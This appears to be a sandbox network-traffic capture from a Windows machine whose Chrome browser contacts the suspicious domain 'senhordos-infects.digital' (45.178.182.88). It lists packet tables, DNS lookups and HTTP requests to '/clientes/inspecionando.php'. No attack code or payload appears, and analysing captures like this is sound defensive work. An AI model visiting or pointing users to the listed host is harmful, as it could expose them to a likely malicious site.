Aug 5, 2024 08:19:20.812726021 CEST	49721	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:20.812865019 CEST	49721	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:20.812875986 CEST	443	49721	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:21.063555002 CEST	443	49722	184.28.90.27	192.168.2.6
Aug 5, 2024 08:19:21.063641071 CEST	49722	443	192.168.2.6	184.28.90.27
Aug 5, 2024 08:19:21.066162109 CEST	49722	443	192.168.2.6	184.28.90.27
Aug 5, 2024 08:19:21.066191912 CEST	443	49722	184.28.90.27	192.168.2.6
Aug 5, 2024 08:19:21.066422939 CEST	443	49722	184.28.90.27	192.168.2.6
Aug 5, 2024 08:19:21.107733965 CEST	49722	443	192.168.2.6	184.28.90.27
Aug 5, 2024 08:19:21.148525000 CEST	443	49722	184.28.90.27	192.168.2.6
Aug 5, 2024 08:19:21.335747004 CEST	443	49722	184.28.90.27	192.168.2.6
Aug 5, 2024 08:19:21.335802078 CEST	443	49722	184.28.90.27	192.168.2.6
Aug 5, 2024 08:19:21.335858107 CEST	49722	443	192.168.2.6	184.28.90.27
Aug 5, 2024 08:19:21.345500946 CEST	49722	443	192.168.2.6	184.28.90.27
Aug 5, 2024 08:19:21.345500946 CEST	49722	443	192.168.2.6	184.28.90.27
Aug 5, 2024 08:19:21.345565081 CEST	443	49722	184.28.90.27	192.168.2.6
Aug 5, 2024 08:19:21.345590115 CEST	443	49722	184.28.90.27	192.168.2.6
Aug 5, 2024 08:19:21.387147903 CEST	49723	443	192.168.2.6	184.28.90.27
Aug 5, 2024 08:19:21.387209892 CEST	443	49723	184.28.90.27	192.168.2.6
Aug 5, 2024 08:19:21.388653994 CEST	49723	443	192.168.2.6	184.28.90.27
Aug 5, 2024 08:19:21.388993979 CEST	49723	443	192.168.2.6	184.28.90.27
Aug 5, 2024 08:19:21.389008045 CEST	443	49723	184.28.90.27	192.168.2.6
Aug 5, 2024 08:19:22.034981012 CEST	443	49723	184.28.90.27	192.168.2.6
Aug 5, 2024 08:19:22.035063028 CEST	49723	443	192.168.2.6	184.28.90.27
Aug 5, 2024 08:19:22.036895037 CEST	49723	443	192.168.2.6	184.28.90.27
Aug 5, 2024 08:19:22.036912918 CEST	443	49723	184.28.90.27	192.168.2.6
Aug 5, 2024 08:19:22.037162066 CEST	443	49723	184.28.90.27	192.168.2.6
Aug 5, 2024 08:19:22.038599968 CEST	49723	443	192.168.2.6	184.28.90.27
Aug 5, 2024 08:19:22.084497929 CEST	443	49723	184.28.90.27	192.168.2.6
Aug 5, 2024 08:19:22.156991959 CEST	80	49715	45.178.182.88	192.168.2.6
Aug 5, 2024 08:19:22.157124996 CEST	49715	80	192.168.2.6	45.178.182.88
Aug 5, 2024 08:19:22.316119909 CEST	443	49723	184.28.90.27	192.168.2.6
Aug 5, 2024 08:19:22.316195965 CEST	443	49723	184.28.90.27	192.168.2.6
Aug 5, 2024 08:19:22.316257000 CEST	49723	443	192.168.2.6	184.28.90.27
Aug 5, 2024 08:19:22.320761919 CEST	49723	443	192.168.2.6	184.28.90.27
Aug 5, 2024 08:19:22.320785999 CEST	443	49723	184.28.90.27	192.168.2.6
Aug 5, 2024 08:19:22.320796967 CEST	49723	443	192.168.2.6	184.28.90.27
Aug 5, 2024 08:19:22.320802927 CEST	443	49723	184.28.90.27	192.168.2.6
Aug 5, 2024 08:19:22.510083914 CEST	49715	80	192.168.2.6	45.178.182.88
Aug 5, 2024 08:19:22.514977932 CEST	80	49715	45.178.182.88	192.168.2.6
Aug 5, 2024 08:19:23.644972086 CEST	49724	443	192.168.2.6	52.165.165.26
Aug 5, 2024 08:19:23.645016909 CEST	443	49724	52.165.165.26	192.168.2.6
Aug 5, 2024 08:19:23.645328999 CEST	49724	443	192.168.2.6	52.165.165.26
Aug 5, 2024 08:19:23.646496058 CEST	49724	443	192.168.2.6	52.165.165.26
Aug 5, 2024 08:19:23.646509886 CEST	443	49724	52.165.165.26	192.168.2.6
Aug 5, 2024 08:19:24.335676908 CEST	443	49724	52.165.165.26	192.168.2.6
Aug 5, 2024 08:19:24.335756063 CEST	49724	443	192.168.2.6	52.165.165.26
Aug 5, 2024 08:19:24.338064909 CEST	49724	443	192.168.2.6	52.165.165.26
Aug 5, 2024 08:19:24.338082075 CEST	443	49724	52.165.165.26	192.168.2.6
Aug 5, 2024 08:19:24.338332891 CEST	443	49724	52.165.165.26	192.168.2.6
Aug 5, 2024 08:19:24.391098022 CEST	49724	443	192.168.2.6	52.165.165.26
Aug 5, 2024 08:19:24.418951988 CEST	49724	443	192.168.2.6	52.165.165.26
Aug 5, 2024 08:19:24.464495897 CEST	443	49724	52.165.165.26	192.168.2.6
Aug 5, 2024 08:19:24.648220062 CEST	443	49724	52.165.165.26	192.168.2.6
Aug 5, 2024 08:19:24.648252010 CEST	443	49724	52.165.165.26	192.168.2.6
Aug 5, 2024 08:19:24.648260117 CEST	443	49724	52.165.165.26	192.168.2.6
Aug 5, 2024 08:19:24.648289919 CEST	443	49724	52.165.165.26	192.168.2.6
Aug 5, 2024 08:19:24.648303032 CEST	443	49724	52.165.165.26	192.168.2.6
Aug 5, 2024 08:19:24.648310900 CEST	49724	443	192.168.2.6	52.165.165.26
Aug 5, 2024 08:19:24.648319006 CEST	443	49724	52.165.165.26	192.168.2.6
Aug 5, 2024 08:19:24.648343086 CEST	443	49724	52.165.165.26	192.168.2.6
Aug 5, 2024 08:19:24.648353100 CEST	443	49724	52.165.165.26	192.168.2.6
Aug 5, 2024 08:19:24.648369074 CEST	49724	443	192.168.2.6	52.165.165.26
Aug 5, 2024 08:19:24.648411989 CEST	49724	443	192.168.2.6	52.165.165.26
Aug 5, 2024 08:19:24.648433924 CEST	443	49724	52.165.165.26	192.168.2.6
Aug 5, 2024 08:19:24.649169922 CEST	443	49724	52.165.165.26	192.168.2.6
Aug 5, 2024 08:19:24.649214983 CEST	49724	443	192.168.2.6	52.165.165.26
Aug 5, 2024 08:19:24.666450977 CEST	49724	443	192.168.2.6	52.165.165.26
Aug 5, 2024 08:19:24.666465044 CEST	443	49724	52.165.165.26	192.168.2.6
Aug 5, 2024 08:19:25.651149988 CEST	49705	443	192.168.2.6	173.222.162.64
Aug 5, 2024 08:19:25.651220083 CEST	49705	443	192.168.2.6	173.222.162.64
Aug 5, 2024 08:19:25.655463934 CEST	49728	443	192.168.2.6	173.222.162.64
Aug 5, 2024 08:19:25.655540943 CEST	443	49728	173.222.162.64	192.168.2.6
Aug 5, 2024 08:19:25.656091928 CEST	443	49705	173.222.162.64	192.168.2.6
Aug 5, 2024 08:19:25.656122923 CEST	443	49705	173.222.162.64	192.168.2.6
Aug 5, 2024 08:19:25.656177998 CEST	49728	443	192.168.2.6	173.222.162.64
Aug 5, 2024 08:19:25.658562899 CEST	49728	443	192.168.2.6	173.222.162.64
Aug 5, 2024 08:19:25.658588886 CEST	443	49728	173.222.162.64	192.168.2.6
Aug 5, 2024 08:19:26.257930040 CEST	443	49728	173.222.162.64	192.168.2.6
Aug 5, 2024 08:19:26.258021116 CEST	49728	443	192.168.2.6	173.222.162.64
Aug 5, 2024 08:19:30.082340002 CEST	443	49720	142.250.185.100	192.168.2.6
Aug 5, 2024 08:19:30.082411051 CEST	443	49720	142.250.185.100	192.168.2.6
Aug 5, 2024 08:19:30.082509041 CEST	49720	443	192.168.2.6	142.250.185.100
Aug 5, 2024 08:19:30.507172108 CEST	49720	443	192.168.2.6	142.250.185.100
Aug 5, 2024 08:19:30.507206917 CEST	443	49720	142.250.185.100	192.168.2.6
Aug 5, 2024 08:19:32.546390057 CEST	49729	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:32.546433926 CEST	443	49729	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:32.546509027 CEST	49729	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:32.547458887 CEST	49729	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:32.547467947 CEST	443	49729	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:33.335755110 CEST	443	49729	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:33.335871935 CEST	49729	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:33.342058897 CEST	49729	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:33.342075109 CEST	443	49729	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:33.342871904 CEST	443	49729	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:33.350323915 CEST	49729	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:33.350538015 CEST	49729	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:33.350545883 CEST	443	49729	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:33.350755930 CEST	49729	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:33.396492004 CEST	443	49729	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:33.525201082 CEST	443	49729	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:33.525496006 CEST	443	49729	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:33.525629044 CEST	49729	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:33.534605980 CEST	49729	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:33.534636974 CEST	443	49729	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:37.184742928 CEST	53168	53	192.168.2.6	1.1.1.1
Aug 5, 2024 08:19:37.189686060 CEST	53	53168	1.1.1.1	192.168.2.6
Aug 5, 2024 08:19:37.189778090 CEST	53168	53	192.168.2.6	1.1.1.1
Aug 5, 2024 08:19:37.189837933 CEST	53168	53	192.168.2.6	1.1.1.1
Aug 5, 2024 08:19:37.194669962 CEST	53	53168	1.1.1.1	192.168.2.6
Aug 5, 2024 08:19:37.654731989 CEST	53	53168	1.1.1.1	192.168.2.6
Aug 5, 2024 08:19:37.655340910 CEST	53168	53	192.168.2.6	1.1.1.1
Aug 5, 2024 08:19:37.660835028 CEST	53	53168	1.1.1.1	192.168.2.6
Aug 5, 2024 08:19:37.660922050 CEST	53168	53	192.168.2.6	1.1.1.1
Aug 5, 2024 08:19:45.422674894 CEST	443	49728	173.222.162.64	192.168.2.6
Aug 5, 2024 08:19:45.422745943 CEST	49728	443	192.168.2.6	173.222.162.64
Aug 5, 2024 08:19:52.622164965 CEST	53170	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:52.622200012 CEST	443	53170	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:52.622318029 CEST	53170	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:52.622870922 CEST	53170	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:52.622886896 CEST	443	53170	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:53.424388885 CEST	443	53170	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:53.424498081 CEST	53170	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:53.426361084 CEST	53170	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:53.426374912 CEST	443	53170	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:53.427186966 CEST	443	53170	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:53.429729939 CEST	53170	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:53.429811954 CEST	53170	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:53.429817915 CEST	443	53170	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:53.430022955 CEST	53170	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:53.476522923 CEST	443	53170	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:53.603070021 CEST	443	53170	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:53.603560925 CEST	443	53170	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:53.603621006 CEST	53170	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:53.603768110 CEST	53170	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:53.603779078 CEST	443	53170	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:53.603790998 CEST	53170	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:20:00.099450111 CEST	49714	80	192.168.2.6	45.178.182.88
Aug 5, 2024 08:20:00.104593992 CEST	80	49714	45.178.182.88	192.168.2.6
Aug 5, 2024 08:20:01.684627056 CEST	53171	443	192.168.2.6	52.165.165.26
Aug 5, 2024 08:20:01.684678078 CEST	443	53171	52.165.165.26	192.168.2.6
Aug 5, 2024 08:20:01.684760094 CEST	53171	443	192.168.2.6	52.165.165.26
Aug 5, 2024 08:20:01.685103893 CEST	53171	443	192.168.2.6	52.165.165.26
Aug 5, 2024 08:20:01.685122967 CEST	443	53171	52.165.165.26	192.168.2.6
Aug 5, 2024 08:20:02.365328074 CEST	443	53171	52.165.165.26	192.168.2.6
Aug 5, 2024 08:20:02.365447044 CEST	53171	443	192.168.2.6	52.165.165.26
Aug 5, 2024 08:20:02.366991043 CEST	53171	443	192.168.2.6	52.165.165.26
Aug 5, 2024 08:20:02.367013931 CEST	443	53171	52.165.165.26	192.168.2.6
Aug 5, 2024 08:20:02.367265940 CEST	443	53171	52.165.165.26	192.168.2.6
Aug 5, 2024 08:20:02.378688097 CEST	53171	443	192.168.2.6	52.165.165.26
Aug 5, 2024 08:20:02.420533895 CEST	443	53171	52.165.165.26	192.168.2.6
Aug 5, 2024 08:20:02.646600962 CEST	443	53171	52.165.165.26	192.168.2.6
Aug 5, 2024 08:20:02.646627903 CEST	443	53171	52.165.165.26	192.168.2.6
Aug 5, 2024 08:20:02.646646023 CEST	443	53171	52.165.165.26	192.168.2.6
Aug 5, 2024 08:20:02.646755934 CEST	53171	443	192.168.2.6	52.165.165.26
Aug 5, 2024 08:20:02.646784067 CEST	443	53171	52.165.165.26	192.168.2.6
Aug 5, 2024 08:20:02.646842003 CEST	53171	443	192.168.2.6	52.165.165.26
Aug 5, 2024 08:20:02.647744894 CEST	443	53171	52.165.165.26	192.168.2.6
Aug 5, 2024 08:20:02.647792101 CEST	443	53171	52.165.165.26	192.168.2.6
Aug 5, 2024 08:20:02.647814989 CEST	53171	443	192.168.2.6	52.165.165.26
Aug 5, 2024 08:20:02.647824049 CEST	443	53171	52.165.165.26	192.168.2.6
Aug 5, 2024 08:20:02.647859097 CEST	53171	443	192.168.2.6	52.165.165.26
Aug 5, 2024 08:20:02.648161888 CEST	443	53171	52.165.165.26	192.168.2.6
Aug 5, 2024 08:20:02.648224115 CEST	53171	443	192.168.2.6	52.165.165.26
Aug 5, 2024 08:20:02.652044058 CEST	53171	443	192.168.2.6	52.165.165.26
Aug 5, 2024 08:20:02.652070999 CEST	443	53171	52.165.165.26	192.168.2.6
Aug 5, 2024 08:20:02.652097940 CEST	53171	443	192.168.2.6	52.165.165.26
Aug 5, 2024 08:20:02.652107000 CEST	443	53171	52.165.165.26	192.168.2.6
Aug 5, 2024 08:20:07.286206007 CEST	80	49714	45.178.182.88	192.168.2.6
Aug 5, 2024 08:20:07.286302090 CEST	49714	80	192.168.2.6	45.178.182.88
Aug 5, 2024 08:20:08.507774115 CEST	49714	80	192.168.2.6	45.178.182.88
Aug 5, 2024 08:20:08.512804985 CEST	80	49714	45.178.182.88	192.168.2.6
Aug 5, 2024 08:20:19.538480997 CEST	53173	443	192.168.2.6	142.250.185.100
Aug 5, 2024 08:20:19.538522005 CEST	443	53173	142.250.185.100	192.168.2.6
Aug 5, 2024 08:20:19.538645983 CEST	53173	443	192.168.2.6	142.250.185.100
Aug 5, 2024 08:20:19.538995981 CEST	53173	443	192.168.2.6	142.250.185.100
Aug 5, 2024 08:20:19.539009094 CEST	443	53173	142.250.185.100	192.168.2.6
Aug 5, 2024 08:20:20.126985073 CEST	53174	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:20:20.127032042 CEST	443	53174	40.113.103.199	192.168.2.6
Aug 5, 2024 08:20:20.127103090 CEST	53174	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:20:20.127773046 CEST	53174	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:20:20.127787113 CEST	443	53174	40.113.103.199	192.168.2.6
Aug 5, 2024 08:20:20.175674915 CEST	443	53173	142.250.185.100	192.168.2.6
Aug 5, 2024 08:20:20.176413059 CEST	53173	443	192.168.2.6	142.250.185.100
Aug 5, 2024 08:20:20.176444054 CEST	443	53173	142.250.185.100	192.168.2.6
Aug 5, 2024 08:20:20.177074909 CEST	443	53173	142.250.185.100	192.168.2.6
Aug 5, 2024 08:20:20.177587032 CEST	53173	443	192.168.2.6	142.250.185.100
Aug 5, 2024 08:20:20.177671909 CEST	443	53173	142.250.185.100	192.168.2.6
Aug 5, 2024 08:20:20.224086046 CEST	53173	443	192.168.2.6	142.250.185.100
Aug 5, 2024 08:20:20.922889948 CEST	443	53174	40.113.103.199	192.168.2.6
Aug 5, 2024 08:20:20.923118114 CEST	53174	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:20:20.945826054 CEST	53174	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:20:20.945847988 CEST	443	53174	40.113.103.199	192.168.2.6
Aug 5, 2024 08:20:20.946631908 CEST	443	53174	40.113.103.199	192.168.2.6
Aug 5, 2024 08:20:20.949300051 CEST	53174	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:20:20.949387074 CEST	53174	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:20:20.949393034 CEST	443	53174	40.113.103.199	192.168.2.6
Aug 5, 2024 08:20:20.949580908 CEST	53174	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:20:20.992548943 CEST	443	53174	40.113.103.199	192.168.2.6
Aug 5, 2024 08:20:21.126202106 CEST	443	53174	40.113.103.199	192.168.2.6
Aug 5, 2024 08:20:21.126312017 CEST	443	53174	40.113.103.199	192.168.2.6
Aug 5, 2024 08:20:21.126519918 CEST	53174	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:20:21.126774073 CEST	53174	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:20:21.126796007 CEST	443	53174	40.113.103.199	192.168.2.6
Aug 5, 2024 08:20:30.081523895 CEST	443	53173	142.250.185.100	192.168.2.6
Aug 5, 2024 08:20:30.081711054 CEST	443	53173	142.250.185.100	192.168.2.6
Aug 5, 2024 08:20:30.081820011 CEST	53173	443	192.168.2.6	142.250.185.100
Aug 5, 2024 08:20:30.508359909 CEST	53173	443	192.168.2.6	142.250.185.100
Aug 5, 2024 08:20:30.508440018 CEST	443	53173	142.250.185.100	192.168.2.6
Aug 5, 2024 08:20:43.334744930 CEST	49704	80	192.168.2.6	2.16.100.168
Aug 5, 2024 08:20:43.340960979 CEST	80	49704	2.16.100.168	192.168.2.6
Aug 5, 2024 08:20:43.341051102 CEST	49704	80	192.168.2.6	2.16.100.168
Aug 5, 2024 08:20:52.563303947 CEST	53177	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:20:52.563359022 CEST	443	53177	40.113.103.199	192.168.2.6
Aug 5, 2024 08:20:52.563483000 CEST	53177	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:20:52.564368963 CEST	53177	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:20:52.564388990 CEST	443	53177	40.113.103.199	192.168.2.6
Aug 5, 2024 08:20:53.449682951 CEST	443	53177	40.113.103.199	192.168.2.6
Aug 5, 2024 08:20:53.449760914 CEST	53177	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:20:53.455543041 CEST	53177	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:20:53.455557108 CEST	443	53177	40.113.103.199	192.168.2.6
Aug 5, 2024 08:20:53.456331968 CEST	443	53177	40.113.103.199	192.168.2.6
Aug 5, 2024 08:20:53.458425999 CEST	53177	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:20:53.458425999 CEST	53177	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:20:53.458447933 CEST	443	53177	40.113.103.199	192.168.2.6
Aug 5, 2024 08:20:53.458591938 CEST	53177	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:20:53.504502058 CEST	443	53177	40.113.103.199	192.168.2.6
Aug 5, 2024 08:20:53.636176109 CEST	443	53177	40.113.103.199	192.168.2.6
Aug 5, 2024 08:20:53.636570930 CEST	443	53177	40.113.103.199	192.168.2.6
Aug 5, 2024 08:20:53.636652946 CEST	53177	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:20:53.636873960 CEST	53177	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:20:53.636887074 CEST	443	53177	40.113.103.199	192.168.2.6
Aug 5, 2024 08:20:53.636902094 CEST	53177	443	192.168.2.6	40.113.103.199

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 5, 2024 08:19:14.870790958 CEST	54609	53	192.168.2.6	1.1.1.1
Aug 5, 2024 08:19:14.870968103 CEST	53788	53	192.168.2.6	1.1.1.1
Aug 5, 2024 08:19:14.878734112 CEST	53	59370	1.1.1.1	192.168.2.6
Aug 5, 2024 08:19:14.879570007 CEST	53	58542	1.1.1.1	192.168.2.6
Aug 5, 2024 08:19:15.053222895 CEST	53	54609	1.1.1.1	192.168.2.6
Aug 5, 2024 08:19:15.054335117 CEST	53	53788	1.1.1.1	192.168.2.6
Aug 5, 2024 08:19:15.971251965 CEST	53	53632	1.1.1.1	192.168.2.6
Aug 5, 2024 08:19:19.486265898 CEST	50630	53	192.168.2.6	1.1.1.1
Aug 5, 2024 08:19:19.486491919 CEST	56555	53	192.168.2.6	1.1.1.1
Aug 5, 2024 08:19:19.493170977 CEST	53	50630	1.1.1.1	192.168.2.6
Aug 5, 2024 08:19:19.493185997 CEST	53	56555	1.1.1.1	192.168.2.6
Aug 5, 2024 08:19:33.144175053 CEST	53	54357	1.1.1.1	192.168.2.6
Aug 5, 2024 08:19:37.184314966 CEST	53	53671	1.1.1.1	192.168.2.6
Aug 5, 2024 08:20:14.736061096 CEST	53	57657	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 5, 2024 08:19:14.870790958 CEST	192.168.2.6	1.1.1.1	0x5b72	Standard query (0)	senhordos-infects.digital	A (IP address)	IN (0x0001)	false
Aug 5, 2024 08:19:14.870968103 CEST	192.168.2.6	1.1.1.1	0x972d	Standard query (0)	senhordos-infects.digital	65	IN (0x0001)	false
Aug 5, 2024 08:19:19.486265898 CEST	192.168.2.6	1.1.1.1	0xf5d5	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 08:19:19.486491919 CEST	192.168.2.6	1.1.1.1	0xd649	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Aug 5, 2024 08:19:15.053222895 CEST	1.1.1.1	192.168.2.6	0x5b72	No error (0)	senhordos-infects.digital	45.178.182.88	A (IP address)	IN (0x0001)	false
Aug 5, 2024 08:19:19.493170977 CEST	1.1.1.1	192.168.2.6	0xf5d5	No error (0)	www.google.com	142.250.185.100	A (IP address)	IN (0x0001)	false
Aug 5, 2024 08:19:19.493185997 CEST	1.1.1.1	192.168.2.6	0xd649	No error (0)	www.google.com		65	IN (0x0001)	false

HTTP Request Dependency Graph

fs.microsoft.com

slscr.update.microsoft.com

senhordos-infects.digital

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49715	45.178.182.88	80	1432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 08:19:15.089560986 CEST	466	OUT	GET /clientes/inspecionando.php HTTP/1.1 Host: senhordos-infects.digital Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Aug 5, 2024 08:19:16.154613972 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 05 Aug 2024 06:19:15 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 5, 2024 08:19:16.226294041 CEST	420	OUT	GET /favicon.ico HTTP/1.1 Host: senhordos-infects.digital Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://senhordos-infects.digital/clientes/inspecionando.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Aug 5, 2024 08:19:16.434995890 CEST	503	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Aug 2024 06:19:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 287 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6e 68 6f 72 64 6f 73 2d 69 6e 66 65 63 74 73 2e 64 69 67 69 74 61 6c 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at senhordos-infects.digital Port 80</address></body></html>
Aug 5, 2024 08:19:16.531996012 CEST	562	OUT	GET /clientes/inspecionando.php HTTP/1.1 Host: senhordos-infects.digital Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://senhordos-infects.digital/clientes/inspecionando.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Aug 5, 2024 08:19:17.145241022 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 05 Aug 2024 06:19:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49714	45.178.182.88	80	1432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 08:20:00.099450111 CEST	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49710	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-08-05 06:19:12 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 38 42 6d 51 69 6e 45 6b 4a 30 65 51 42 62 39 36 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 31 37 36 65 37 36 66 66 39 35 39 31 36 31 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 8BmQinEkJ0eQBb96.1Context: 4176e76ff9591618
